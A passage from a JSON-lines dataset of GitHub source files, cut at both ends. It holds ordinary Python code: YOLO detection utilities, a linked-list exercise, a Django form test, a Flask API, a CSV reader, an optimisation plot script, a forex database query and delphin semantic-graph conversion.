y1\n        line  = abs(x2 - x1)\n        longest_hori_lines.append([position_x,position_y,line])\n    return longest_hori_lines,longest_vert_lines\n","repo_name":"Aniket965/Bhool-Bhulaiyaa","sub_path":"generateMap.py","file_name":"generateMap.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"3473377217","text":"#!/usr/bin/python3\n\"\"\"Node And SinglyLinkedList Class\"\"\"\n\n\nclass Node:\n    \"\"\"A Node class that define the next node and the data\"\"\"\n\n    def __init__(self, data, next_node=None):\n        \"\"\"Initializes the data and the next value\"\"\"\n        self.data = data\n        self.next_node = next_node\n\n    @property\n    def data(self):\n        \"\"\"Get the data\"\"\"\n        return self.__data\n\n    @data.setter\n    def data(self, value):\n        \"\"\"Set the data.\"\"\"\n        if type(value) != int:\n            raise TypeError('data must be an integer')\n        self.__data = value\n\n    @property\n    def next_node(self):\n        \"\"\"Get the next node value\"\"\"\n        return self.__next_node\n\n    @next_node.setter\n    def next_node(self, value):\n        \"\"\"Set the next node of the list and set the error\"\"\"\n        if type(value) != Node and value is not None:\n            raise TypeError('next_node must be a Node object')\n        self.__next_node = value\n\n\nclass SinglyLinkedList:\n    \"\"\"A SinglyLinkedList class that define a linket list\"\"\"\n\n    def __init__(self):\n        \"\"\"Initialize the head of the list\"\"\"\n        self.head = None\n\n    def __repr__(self):\n        \"\"\"Initialize the string and the current position\"\"\"\n        string = ''\n        current = self.head\n        while current:\n            string += str(current.data) + '\\n'\n            current = current.next_node\n        return string[:-1]\n\n    def sorted_insert(self, value):\n        \"\"\"Add a new node sorted in the correct position\"\"\"\n        new_node = Node(value)\n        current = self.head\n        if current is None:\n            self.head = new_node\n            return\n        if current.data > value:\n            new_node.next_node = self.head\n            self.head = new_node\n            return\n        while current.next_node is not None:\n            if current.next_node.data > value:\n                break\n            current = current.next_node\n        new_node.next_node = current.next_node\n        current.next_node = new_node\n        return\n","repo_name":"Manga08/holbertonschool-higher_level_programming","sub_path":"0x06-python-classes/100-singly_linked_list.py","file_name":"100-singly_linked_list.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3636388409","text":"from __future__ import division\nimport math\nimport time\nimport tqdm\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport torchvision\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\n\n\ndef to_cpu(tensor):\n    return tensor.detach().cpu()\n\n\ndef load_classes(path):\n    \"\"\"\n    Loads class labels at 'path'\n    \"\"\"\n    fp = open(path, \"r\")\n    names = fp.read().split(\"\\n\")[:-1]\n    return names\n\n\ndef weights_init_normal(m):\n    classname = m.__class__.__name__\n    if classname.find(\"Conv\") != -1:\n        torch.nn.init.normal_(m.weight.data, 0.0, 0.02)\n    elif classname.find(\"BatchNorm2d\") != -1:\n        torch.nn.init.normal_(m.weight.data, 1.0, 0.02)\n        torch.nn.init.constant_(m.bias.data, 0.0)\n\n\ndef rescale_boxes(boxes, current_dim, original_shape):\n    \"\"\" Rescales bounding boxes to the original shape \"\"\"\n    orig_h, orig_w = original_shape\n    # The amount of padding that was added\n    pad_x = max(orig_h - orig_w, 0) * (current_dim / max(original_shape))\n    pad_y = max(orig_w - orig_h, 0) * (current_dim / max(original_shape))\n    # Image height and width after padding is removed\n    unpad_h = current_dim - pad_y\n    unpad_w = current_dim - pad_x\n    # Rescale bounding boxes to dimension of original image\n    boxes[:, 0] = ((boxes[:, 0] - pad_x // 2) / unpad_w) * orig_w\n    boxes[:, 1] = ((boxes[:, 1] - pad_y // 2) / unpad_h) * orig_h\n    boxes[:, 2] = ((boxes[:, 2] - pad_x // 2) / unpad_w) * orig_w\n    boxes[:, 3] = ((boxes[:, 3] - pad_y // 2) / unpad_h) * orig_h\n    return boxes\n\n\ndef xywh2xyxy(x):\n    y = x.new(x.shape)\n    y[..., 0] = x[..., 0] - x[..., 2] / 2\n    y[..., 1] = x[..., 1] - x[..., 3] / 2\n    y[..., 2] = x[..., 0] + x[..., 2] / 2\n    y[..., 3] = x[..., 1] + x[..., 3] / 2\n    return y\n\n\ndef xywh2xyxy_np(x):\n    y = np.zeros_like(x)\n    y[..., 0] = x[..., 0] - x[..., 2] / 2\n    y[..., 1] = x[..., 1] - x[..., 3] / 2\n    y[..., 2] = x[..., 0] + x[..., 2] / 2\n    y[..., 3] = x[..., 1] + x[..., 3] / 2\n    return y\n\n\ndef ap_per_class(tp, conf, pred_cls, target_cls):\n    \"\"\" Compute the average precision, given the recall and precision curves.\n    Source: https://github.com/rafaelpadilla/Object-Detection-Metrics.\n    # Arguments\n        tp:    True positives (list).\n        conf:  Objectness value from 0-1 (list).\n        pred_cls: Predicted object classes (list).\n        target_cls: True object classes (list).\n    # Returns\n        The average precision as computed in py-faster-rcnn.\n    \"\"\"\n\n    # Sort by objectness\n    i = np.argsort(-conf)\n    tp, conf, pred_cls = tp[i], conf[i], pred_cls[i]\n\n    # Find unique classes\n    unique_classes = np.unique(target_cls)\n\n    # Create Precision-Recall curve and compute AP for each class\n    ap, p, r = [], [], []\n    for c in tqdm.tqdm(unique_classes, desc=\"Computing AP\"):\n        i = pred_cls == c\n        n_gt = (target_cls == c).sum()  # Number of ground truth objects\n        n_p = i.sum()  # Number of predicted objects\n\n        if n_p == 0 and n_gt == 0:\n            continue\n        elif n_p == 0 or n_gt == 0:\n            ap.append(0)\n            r.append(0)\n            p.append(0)\n        else:\n            # Accumulate FPs and TPs\n            fpc = (1 - tp[i]).cumsum()\n            tpc = (tp[i]).cumsum()\n\n            # Recall\n            recall_curve = tpc / (n_gt + 1e-16)\n            r.append(recall_curve[-1])\n\n            # Precision\n            precision_curve = tpc / (tpc + fpc)\n            p.append(precision_curve[-1])\n\n            # AP from recall-precision curve\n            ap.append(compute_ap(recall_curve, precision_curve))\n\n    # Compute F1 score (harmonic mean of precision and recall)\n    p, r, ap = np.array(p), np.array(r), np.array(ap)\n    f1 = 2 * p * r / (p + r + 1e-16)\n\n    return p, r, ap, f1, unique_classes.astype(\"int32\")\n\n\ndef compute_ap(recall, precision):\n    \"\"\" Compute the average precision, given the recall and precision curves.\n    Code originally from https://github.com/rbgirshick/py-faster-rcnn.\n\n    # Arguments\n        recall:    The recall curve (list).\n        precision: The precision curve (list).\n    # Returns\n        The average precision as computed in py-faster-rcnn.\n    \"\"\"\n    # correct AP calculation\n    # first append sentinel values at the end\n    mrec = np.concatenate(([0.0], recall, [1.0]))\n    mpre = np.concatenate(([0.0], precision, [0.0]))\n\n    # compute the precision envelope\n    for i in range(mpre.size - 1, 0, -1):\n        mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i])\n\n    # to calculate area under PR curve, look for points\n    # where X axis (recall) changes value\n    i = np.where(mrec[1:] != mrec[:-1])[0]\n\n    # and sum (\\Delta recall) * prec\n    ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1])\n    return ap\n\n\ndef get_batch_statistics(outputs, targets, iou_threshold):\n    \"\"\" Compute true positives, predicted scores and predicted labels per sample \"\"\"\n    batch_metrics = []\n    for sample_i in range(len(outputs)):\n\n        if outputs[sample_i] is None:\n            continue\n\n        output = outputs[sample_i]\n        pred_boxes = output[:, :4]\n        pred_scores = output[:, 4]\n        pred_labels = output[:, -1]\n\n        true_positives = np.zeros(pred_boxes.shape[0])\n\n        annotations = targets[targets[:, 0] == sample_i][:, 1:]\n        target_labels = annotations[:, 0] if len(annotations) else []\n        if len(annotations):\n            detected_boxes = []\n            target_boxes = annotations[:, 1:]\n\n            for pred_i, (pred_box, pred_label) in enumerate(zip(pred_boxes, pred_labels)):\n\n                # If targets are found break\n                if len(detected_boxes) == len(annotations):\n                    break\n\n                # Ignore if label is not one of the target labels\n                if pred_label not in target_labels:\n                    continue\n\n                iou, box_index = bbox_iou(pred_box.unsqueeze(0), target_boxes).max(0)\n                if iou >= iou_threshold and box_index not in detected_boxes:\n                    true_positives[pred_i] = 1\n                    detected_boxes += [box_index]\n        batch_metrics.append([true_positives, pred_scores, pred_labels])\n    return batch_metrics\n\n\ndef bbox_wh_iou(wh1, wh2):\n    wh2 = wh2.t()\n    w1, h1 = wh1[0], wh1[1]\n    w2, h2 = wh2[0], wh2[1]\n    inter_area = torch.min(w1, w2) * torch.min(h1, h2)\n    union_area = (w1 * h1 + 1e-16) + w2 * h2 - inter_area\n    return inter_area / union_area\n\n\ndef bbox_iou(box1, box2, x1y1x2y2=True):\n    \"\"\"\n    Returns the IoU of two bounding boxes\n    \"\"\"\n    if not x1y1x2y2:\n        # Transform from center and width to exact coordinates\n        b1_x1, b1_x2 = box1[:, 0] - box1[:, 2] / 2, box1[:, 0] + box1[:, 2] / 2\n        b1_y1, b1_y2 = box1[:, 1] - box1[:, 3] / 2, box1[:, 1] + box1[:, 3] / 2\n        b2_x1, b2_x2 = box2[:, 0] - box2[:, 2] / 2, box2[:, 0] + box2[:, 2] / 2\n        b2_y1, b2_y2 = box2[:, 1] - box2[:, 3] / 2, box2[:, 1] + box2[:, 3] / 2\n    else:\n        # Get the coordinates of bounding boxes\n        b1_x1, b1_y1, b1_x2, b1_y2 = box1[:, 0], box1[:, 1], box1[:, 2], box1[:, 3]\n        b2_x1, b2_y1, b2_x2, b2_y2 = box2[:, 0], box2[:, 1], box2[:, 2], box2[:, 3]\n\n    # get the corrdinates of the intersection rectangle\n    inter_rect_x1 = torch.max(b1_x1, b2_x1)\n    inter_rect_y1 = torch.max(b1_y1, b2_y1)\n    inter_rect_x2 = torch.min(b1_x2, b2_x2)\n    inter_rect_y2 = torch.min(b1_y2, b2_y2)\n    # Intersection area\n    inter_area = torch.clamp(inter_rect_x2 - inter_rect_x1 + 1, min=0) * torch.clamp(\n        inter_rect_y2 - inter_rect_y1 + 1, min=0\n    )\n    # Union Area\n    b1_area = (b1_x2 - b1_x1 + 1) * (b1_y2 - b1_y1 + 1)\n    b2_area = (b2_x2 - b2_x1 + 1) * (b2_y2 - b2_y1 + 1)\n\n    iou = inter_area / (b1_area + b2_area - inter_area + 1e-16)\n\n    return iou\n\n\n\ndef build_targets(pred_boxes, pred_cls, target, anchors, ignore_thres):\n\n    BoolTensor = torch.cuda.BoolTensor if pred_boxes.is_cuda else torch.BoolTensor\n    FloatTensor = torch.cuda.FloatTensor if pred_boxes.is_cuda else torch.FloatTensor\n\n    nB = pred_boxes.size(0)\n    nA = pred_boxes.size(1)\n    nC = pred_cls.size(-1)\n    nG = pred_boxes.size(2)\n\n    # Output tensors\n    obj_mask = BoolTensor(nB, nA, nG, nG).fill_(0)\n    noobj_mask = BoolTensor(nB, nA, nG, nG).fill_(1)\n    class_mask = FloatTensor(nB, nA, nG, nG).fill_(0)\n    iou_scores = FloatTensor(nB, nA, nG, nG).fill_(0)\n    tx = FloatTensor(nB, nA, nG, nG).fill_(0)\n    ty = FloatTensor(nB, nA, nG, nG).fill_(0)\n    tw = FloatTensor(nB, nA, nG, nG).fill_(0)\n    th = FloatTensor(nB, nA, nG, nG).fill_(0)\n    tcls = FloatTensor(nB, nA, nG, nG, nC).fill_(0)\n\n    # Convert to position relative to box\n    target_boxes = target[:, 2:6] * nG\n    gxy = target_boxes[:, :2]\n    gwh = target_boxes[:, 2:]\n    # Get anchors with best iou\n    ious = torch.stack([bbox_wh_iou(anchor, gwh) for anchor in anchors])\n    best_ious, best_n = ious.max(0)\n    # Separate target values\n    b, target_labels = target[:, :2].long().t()\n    gx, gy = gxy.t()\n    gw, gh = gwh.t()\n    gi, gj = gxy.long().t()\n    # Set masks\n    obj_mask[b, best_n, gj, gi] = 1\n    noobj_mask[b, best_n, gj, gi] = 0\n\n    # Set noobj mask to zero where iou exceeds ignore threshold\n    for i, anchor_ious in enumerate(ious.t()):\n        noobj_mask[b[i], anchor_ious > ignore_thres, gj[i], gi[i]] = 0\n\n    # Coordinates\n    tx[b, best_n, gj, gi] = gx - gx.floor()\n    ty[b, best_n, gj, gi] = gy - gy.floor()\n    # Width and height\n    tw[b, best_n, gj, gi] = torch.log(gw / anchors[best_n][:, 0] + 1e-16)\n    th[b, best_n, gj, gi] = torch.log(gh / anchors[best_n][:, 1] + 1e-16)\n    # One-hot encoding of label\n    tcls[b, best_n, gj, gi, target_labels] = 1\n    # Compute label correctness and iou at best anchor\n    class_mask[b, best_n, gj, gi] = (pred_cls[b, best_n, gj, gi].argmax(-1) == target_labels).float()\n    iou_scores[b, best_n, gj, gi] = bbox_iou(pred_boxes[b, best_n, gj, gi], target_boxes, x1y1x2y2=False)\n\n    tconf = obj_mask.float()\n    return iou_scores, class_mask, obj_mask, noobj_mask, tx, ty, tw, th, tcls, tconf\n\n\ndef box_iou(box1, box2):\n    # https://github.com/pytorch/vision/blob/master/torchvision/ops/boxes.py\n    \"\"\"\n    Return intersection-over-union (Jaccard index) of boxes.\n    Both sets of boxes are expected to be in (x1, y1, x2, y2) format.\n    Arguments:\n        box1 (Tensor[N, 4])\n        box2 (Tensor[M, 4])\n    Returns:\n        iou (Tensor[N, M]): the NxM matrix containing the pairwise\n            IoU values for every element in boxes1 and boxes2\n    \"\"\"\n\n    def box_area(box):\n        # box = 4xn\n        return (box[2] - box[0]) * (box[3] - box[1])\n\n    area1 = box_area(box1.T)\n    area2 = box_area(box2.T)\n\n    # inter(N,M) = (rb(N,M,2) - lt(N,M,2)).clamp(0).prod(2)\n    inter = (torch.min(box1[:, None, 2:], box2[:, 2:]) - torch.max(box1[:, None, :2], box2[:, :2])).clamp(0).prod(2)\n    return inter / (area1[:, None] + area2 - inter)  # iou = inter / (area1 + area2 - inter)\n\n\ndef non_max_suppression(prediction, conf_thres=0.25, iou_thres=0.45, classes=None, agnostic=False, labels=()):\n    \"\"\"Performs Non-Maximum Suppression (NMS) on inference results\n    Returns:\n         detections with shape: nx6 (x1, y1, x2, y2, conf, cls)\n    \"\"\"\n\n    nc = prediction.shape[2] - 5  # number of classes\n    xc = prediction[..., 4] > conf_thres  # candidates\n\n    # Settings\n    min_wh, max_wh = 2, 4096  # (pixels) minimum and maximum box width and height\n    max_det = 300  # maximum number of detections per image\n    max_nms = 30000  # maximum number of boxes into torchvision.ops.nms()\n    time_limit = 1.0  # seconds to quit after\n    redundant = True  # require redundant detections\n    multi_label = nc > 1  # multiple labels per box (adds 0.5ms/img)\n    merge = False  # use merge-NMS\n\n    t = time.time()\n    output = [torch.zeros((0, 6), device=prediction.device)] * prediction.shape[0]\n    for xi, x in enumerate(prediction):  # image index, image inference\n        # Apply constraints\n        # x[((x[..., 2:4] < min_wh) | (x[..., 2:4] > max_wh)).any(1), 4] = 0  # width-height\n        x = x[xc[xi]]  # confidence\n\n        # Cat apriori labels if autolabelling\n        if labels and len(labels[xi]):\n            l = labels[xi]\n            v = torch.zeros((len(l), nc + 5), device=x.device)\n            v[:, :4] = l[:, 1:5]  # box\n            v[:, 4] = 1.0  # conf\n            v[range(len(l)), l[:, 0].long() + 5] = 1.0  # cls\n            x = torch.cat((x, v), 0)\n\n        # If none remain process next image\n        if not x.shape[0]:\n            continue\n\n        # Compute conf\n        x[:, 5:] *= x[:, 4:5]  # conf = obj_conf * cls_conf\n\n        # Box (center x, center y, width, height) to (x1, y1, x2, y2)\n        box = xywh2xyxy(x[:, :4])\n\n        # Detections matrix nx6 (xyxy, conf, cls)\n        if multi_label:\n            i, j = (x[:, 5:] > conf_thres).nonzero(as_tuple=False).T\n            x = torch.cat((box[i], x[i, j + 5, None], j[:, None].float()), 1)\n        else:  # best class only\n            conf, j = x[:, 5:].max(1, keepdim=True)\n            x = torch.cat((box, conf, j.float()), 1)[conf.view(-1) > conf_thres]\n\n        # Filter by class\n        if classes is not None:\n            x = x[(x[:, 5:6] == torch.tensor(classes, device=x.device)).any(1)]\n\n        # Apply finite constraint\n        # if not torch.isfinite(x).all():\n        #     x = x[torch.isfinite(x).all(1)]\n\n        # Check shape\n        n = x.shape[0]  # number of boxes\n        if not n:  # no boxes\n            continue\n        elif n > max_nms:  # excess boxes\n            x = x[x[:, 4].argsort(descending=True)[:max_nms]]  # sort by confidence\n\n        # Batched NMS\n        c = x[:, 5:6] * (0 if agnostic else max_wh)  # classes\n        boxes, scores = x[:, :4] + c, x[:, 4]  # boxes (offset by class), scores\n        i = torchvision.ops.nms(boxes, scores, iou_thres)  # NMS\n        if i.shape[0] > max_det:  # limit detections\n            i = i[:max_det]\n        if merge and (1 < n < 3E3):  # Merge NMS (boxes merged using weighted mean)\n            # update boxes as boxes(i,4) = weights(i,n) * boxes(n,4)\n            iou = box_iou(boxes[i], boxes) > iou_thres  # iou matrix\n            weights = iou * scores[None]  # box weights\n            x[i, :4] = torch.mm(weights, x[:, :4]).float() / weights.sum(1, keepdim=True)  # merged boxes\n            if redundant:\n                i = i[iou.sum(1) > 1]  # require redundancy\n\n        output[xi] = x[i]\n        if (time.time() - t) > time_limit:\n            print(f'WARNING: NMS time limit {time_limit}s exceeded')\n            break  # time limit exceeded\n\n    return output\n","repo_name":"MIXALER/python_projects","sub_path":"cv_class/proj5/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":14638,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"25469082163","text":"from django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.test import TestCase\n\nfrom ledger.forms import CSVUploadForm\n\n\nclass CSVUploadFormTest(TestCase):\n    def test_valid_csv_file(self):\n        file_data = b\"name,age\\nAlice,30\\nBob,40\\n\"\n        csv_file = SimpleUploadedFile(\"test.csv\", file_data, content_type=\"text/csv\")\n        data = {\"csv_file\": csv_file}\n        form = CSVUploadForm({}, data)\n        self.assertTrue(form.is_valid())\n\n    def test_invalid_csv_file(self):\n        file_data = b\"name,age\\nAlice,30\\nBob,40\\n\"\n        text_file = SimpleUploadedFile(\"test.txt\", file_data, content_type=\"text/plain\")\n        data = {\"csv_file\": text_file}\n        form = CSVUploadForm({}, data)\n        self.assertFalse(form.is_valid())\n        self.assertEqual(\n            form.errors[\"csv_file\"],\n            [\"Invalid file format: Only CSV files are allowed.\"],\n        )\n","repo_name":"tecoholic/en_kanakku","sub_path":"ledger/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"22937267653","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# 拡張ラグランジュ\ndef ala(l0, c, max_itr=20):\n    nl = l0\n    l_ls = [l0]\n    x_ls = []\n    y_ls = []\n    # c = c0 + i * 2.0\n    for _ in range(max_itr):\n        l = nl\n        x = (c - l)/(6+5*c/2)\n        y = (c - l)/(4+5*c/3)\n        nl = l + c*(x + y - 1.0)\n        l_ls.append(nl)\n        x_ls.append(x)\n        y_ls.append(y)\n        if abs(nl - l) <= 0.01:\n            break\n    return l_ls, x_ls, y_ls\n\n# 初期値設定\nl0 = 0.0\nc0 = 2.0\n\nfig, axes = plt.subplots(nrows=5, ncols=2, figsize=(10, 18))\n\nfor i in range(5):\n    c = i * 2 + c0\n    l_ls, x_ls, y_ls = ala(l0, c)\n\n    axes[i, 0].plot(x_ls,y_ls,marker='o')\n    for t, (x, y) in enumerate(zip(x_ls, y_ls)):\n        axes[i, 0].annotate(t+1, (x-0.03, y+0.03))\n    axes[i, 0].set_xlabel('$x$')\n    axes[i, 0].set_ylabel('$y$')\n    n = 100\n    x = np.linspace(-0.2,1.2,n)\n    y = np.linspace(-0.2,1.2,n)\n    X, Y = np.meshgrid(x,y)\n    Z = 3*X**2 + 2*Y**2\n    axes[i, 0].contour(X,Y,Z,20)\n    axes[i, 0].set_aspect('equal')\n    axes[i, 0].set_title('$c = %.1f$' % c)\n\n    time = range(len(l_ls))\n    axes[i, 1].plot(time,l_ls,marker='o')\n    axes[i, 1].set_xlabel('iteration')\n    axes[i, 1].set_ylabel('$\\lambda$')\n    axes[i, 1].set_title('$c = %.1f$' % c)\n\nfig.tight_layout()\nplt.savefig(\"output.png\")\n","repo_name":"hashi0203/ML-scratch","sub_path":"Augmented-Lagrangian-Algorithm/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"46255903748","text":"\nfrom collections.abc import Callable, Iterable, Iterator\nfrom collections import namedtuple\nimport os\nimport csv\nfrom typing import NamedTuple\nimport utilparse as prs\nfrom itertools import compress\n\ndef iter_csv(file_path:str, skip_header=True)->Iterator:\n    with open(file_path, 'r', newline='') as file:\n        skip_header and next(file)\n        yield from csv.reader(file, delimiter=',', quotechar='\"')\n\ndef get_filename(file_path:str)->str:\n    return os.path.splitext(\n        os.path.basename(file_path)\n    )[0]\n\ndef read_file(\n        file_path: str,\n        parser: Callable = lambda x: x,\n    )->Iterator:\n    return prs.parse_lines(iter_csv(file_path), parser)\n\n\n# ====================================\n#  FROM CONFIG\n# ====================================\n\nfrom constants import (\n    FPATH, # file path\n    TPNAME, # tuplename\n    TPFIELDS, # tuplename\n    DTYPES, # data types\n    MASK, # bool filter to compress imputs\n)\ndef make_namedtuple_from_config(\n        cfg:dict, name:str = None,\n        fields:Iterable=None)->NamedTuple:\n    tuplename = name or cfg.get(TPNAME, None) \\\n        or prs.std_tuplename(get_filename(cfg.get(FPATH)))\n    tuplefields = fields or cfg.get(TPFIELDS, None) \\\n        or map(\n            prs.std_fieldname,\n            next(iter_csv(\n                cfg.get(FPATH),\n                skip_header=False\n            ))\n        )\n    return namedtuple(tuplename, tuplefields)\n\ndef make_extractor_from_config(cfg:dict)->Callable:\n    return prs.make_extractor(\n        dtypes = cfg.get(DTYPES, None),\n        mask = cfg.get(MASK, None)\n    )\n\ndef make_parser_from_config(cfg:dict)->Callable:\n    ntp_class = make_namedtuple_from_config(cfg)\n    extractor = make_extractor_from_config(cfg)\n    return prs.make_lineparser(ntp_class, extractor)\n\ndef from_config(cfg:dict)->Iterator:\n    file_path = cfg.get(FPATH)\n    parser = make_parser_from_config(cfg)\n    return read_file(file_path, parser)\n\n\n# ====================================\n#  OBJECT ORIENTED\n# ====================================\n\nclass Filereader():\n    def __init__(self, file_path:str, cast_types:tuple)->None:\n        self.file_path = file_path\n        self.cast_types = cast_types\n        self._Tupleclass = None\n    \n    @property\n    def Tupleclass(self)->NamedTuple:\n        if self._Tupleclass is None:\n            header = next(iter_csv(self.file_path, skip_header=False))\n            tuplename = prs.std_tuplename(prs.get_filename(self.file_path))\n            self._Tupleclass = namedtuple(tuplename,\n                tuple(map(prs.std_fieldname, header))\n            )\n        return self._Tupleclass\n    \n    def __iter__(self)->Iterator:\n        for row in iter_csv(self.file_path):\n            yield self.Tupleclass(*tuple(\n                cast(val) for val, cast\n                in zip(row, self.cast_types)\n            ))\n\n\n","repo_name":"valcapp/pylearn-deepdive","sub_path":"2.4.itertools-ssn/fileread.py","file_name":"fileread.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12575115844","text":"from flask import Blueprint, session, request, jsonify\nfrom app.models import Artist, Album\n\nartist_routes = Blueprint(\"artists\", __name__)\n\n@artist_routes.route(\"/\")\ndef get_all_artists():\n    everyArtist = Artist.query.all()\n    artist_dict = [artist.to_dict(albums=True) for artist in everyArtist]\n    return {\"artists\": artist_dict}\n\n@artist_routes.route(\"/<int:id>/\")\ndef get_artist(id):\n    oneArtist = Artist.query.get(id)\n    artist_dict = oneArtist.to_dict(albums=True)\n    return artist_dict\n\n@artist_routes.route(\"/<int:id>/songs\")\ndef songs_of_anArtist(id):\n    artist = Artist.query.get(id)\n    artist_dict = artist.to_dict(songs=True)\n    return artist_dict\n","repo_name":"ltnguyen517/Amplify","sub_path":"app/api/artist_routes.py","file_name":"artist_routes.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5183786702","text":"# coding: utf-8\n\nimport sys\nimport os\nimport traceback\nimport json\n\n# 実行スクリプトのパスを取得して、追加\ncurrent_path = os.path.abspath(os.path.dirname(__file__))\nsys.path.append(current_path)\nsys.path.append(current_path + \"/../trade_algorithm\")\nsys.path.append(current_path + \"/../obj\")\nsys.path.append(current_path + \"/../lib\")\nsys.path.append(current_path + \"/../lstm_lib\")\n\nfrom mysql_connector import MysqlConnector\nfrom datetime import datetime, timedelta\n\ncon = MysqlConnector()\n\ninstrument_list = [\"EUR_GBP\", \"EUR_USD\", \"EUR_JPY\", \"GBP_USD\", \"GBP_JPY\", \"USD_JPY\"]\n#instrument_list = [\"EUR_USD\", \"EUR_JPY\", \"GBP_USD\", \"GBP_JPY\", \"USD_JPY\"]\ninsert_time = '2019-06-13 14:00:00'\ninsert_time = datetime.strptime(insert_time, \"%Y-%m-%d %H:%M:%S\")\nnow = datetime.now()\n\nwhile insert_time < now:\n    result_list = []\n    for instrument in instrument_list:\n        sql = \"select open_ask, open_bid, close_ask, close_bid, insert_time from %s_30m_TABLE where insert_time < '%s' order by insert_time desc limit 1\" % (instrument, insert_time)\n        response = con.select_sql(sql)\n    \n    \n        open_price = (response[0][0]+response[0][1])/2\n        close_price = (response[0][2]+response[0][3])/2\n        result = close_price/open_price\n        res_insert_time = response[0][4]\n        result_list.append(result)\n    \n#        print(\"%s : %s = %s\" % (res_insert_time, instrument, result))\n#        print(\"========================================\")\n    \n    \n    if result_list[0] > 1.0 and result_list[1] > 1.0 and result_list[2] > 1.0 and result_list[5] > 1.0:\n        print(\"%s: EUR_JPY buy\" % insert_time)\n    if result_list[0] > 1.0 and result_list[1] > 1.0 and result_list[2] > 1.0 and result_list[5] < 1.0:\n        print(\"%s: EUR_USD buy\" % insert_time)\n    if result_list[0] < 1.0 and result_list[3] > 1.0 and result_list[4] > 1.0 and result_list[5] > 1.0:\n        print(\"%s: GBP_JPY buy\" % insert_time)\n    if result_list[0] < 1.0 and result_list[3] > 1.0 and result_list[4] > 1.0 and result_list[5] < 1.0:\n        print(\"%s: GBP_USD buy\" % insert_time)\n\n    insert_time = insert_time + timedelta(minutes=30)\n","repo_name":"tomoyanp/oanda_dev3.5.2","sub_path":"test/test_5m.py","file_name":"test_5m.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"20664013209","text":"\n\"\"\"\nOperations on EDS\n\"\"\"\n\nimport warnings\nfrom itertools import count\n\nfrom delphin import variable\nfrom delphin import scope\nfrom delphin import eds\nfrom delphin import util\n\n\ndef from_mrs(m, predicate_modifiers=True, unique_ids=True,\n             representative_priority=None):\n    \"\"\"\n    Create an EDS by converting from MRS *m*.\n\n    In order for MRS to EDS conversion to work, the MRS must satisfy\n    the intrinsic variable property (see\n    :func:`delphin.mrs.has_intrinsic_variable_property`).\n\n    Args:\n        m: the input MRS\n        predicate_modifiers: if `True`, include predicate-modifier\n            edges; if `False`, only include basic dependencies; if a\n            callable, then call on the converted EDS before creating\n            unique ids (if `unique_ids=True`)\n        unique_ids: if `True`, recompute node identifiers to be unique\n            by the LKB's method; note that ids from *m* should already\n            be unique by PyDelphin's method\n        representative_priority: a function for ranking candidate\n            representative nodes; see :func:`scope.representatives`\n    Returns:\n        EDS\n    Raises:\n        EDSError: when conversion fails.\n    \"\"\"\n    # EP id to node id map; create now to keep ids consistent\n    hcmap = {hc.hi: hc for hc in m.hcons}\n    reps = scope.representatives(m, priority=representative_priority)\n    ivmap = {p.iv: (p, q)\n             for p, q in m.quantification_pairs()\n             if p is not None}\n\n    top = _mrs_get_top(m.top, hcmap, reps, m.index, ivmap)\n    deps = _mrs_args_to_basic_deps(m, hcmap, ivmap, reps)\n    nodes = _mrs_to_nodes(m, deps)\n\n    e = eds.EDS(\n        top=top,\n        nodes=nodes,\n        lnk=m.lnk,\n        surface=m.surface,\n        identifier=m.identifier)\n\n    if predicate_modifiers is True:\n        predicate_modifiers = find_predicate_modifiers\n    if predicate_modifiers:\n        addl_deps = predicate_modifiers(e, m, representatives=reps)\n        for id, node_deps in addl_deps.items():\n            e[id].edges.update(node_deps)\n\n    if unique_ids:\n        make_ids_unique(e, m)\n\n    return e\n\n\ndef _mrs_get_top(top, hcmap, reps, index, ivmap):\n    if top in hcmap and hcmap[top].lo in reps:\n        lbl = hcmap[top].lo\n        top = reps[lbl][0].id\n    else:\n        if top in hcmap:\n            warnings.warn(\n                f'broken handle constraint: {hcmap[top]}',\n                eds.EDSWarning\n            )\n        if top in reps:\n            top = reps[top][0].id\n        elif index in ivmap and ivmap[index][0].label in reps:\n            lbl = ivmap[index][0].label\n            top = reps[lbl][0].id\n        else:\n            warnings.warn('unable to find a suitable TOP', eds.EDSWarning)\n            top = None\n    return top\n\n\ndef _mrs_args_to_basic_deps(m, hcmap, ivmap, reps):\n    edges = {}\n    for src, roleargs in m.arguments().items():\n        if src in ivmap:\n            p, q = ivmap[src]\n            # non-quantifier EPs\n            edges[src] = {}\n            for role, tgt in roleargs:\n                # qeq\n                if tgt in hcmap:\n                    lbl = hcmap[tgt].lo\n                    if lbl in reps:\n                        tgt = reps[lbl][0].id\n                    else:\n                        warnings.warn(\n                            f'broken handle constraint: {hcmap[tgt]}',\n                            eds.EDSWarning\n                        )\n                        continue\n                # label arg\n                elif tgt in reps:\n                    tgt = reps[tgt][0].id\n                # regular arg\n                elif tgt in ivmap:\n                    tgt = ivmap[tgt][0].id\n                # other (e.g., BODY, dropped arguments, etc.)\n                else:\n                    continue\n                edges[src][role] = tgt\n   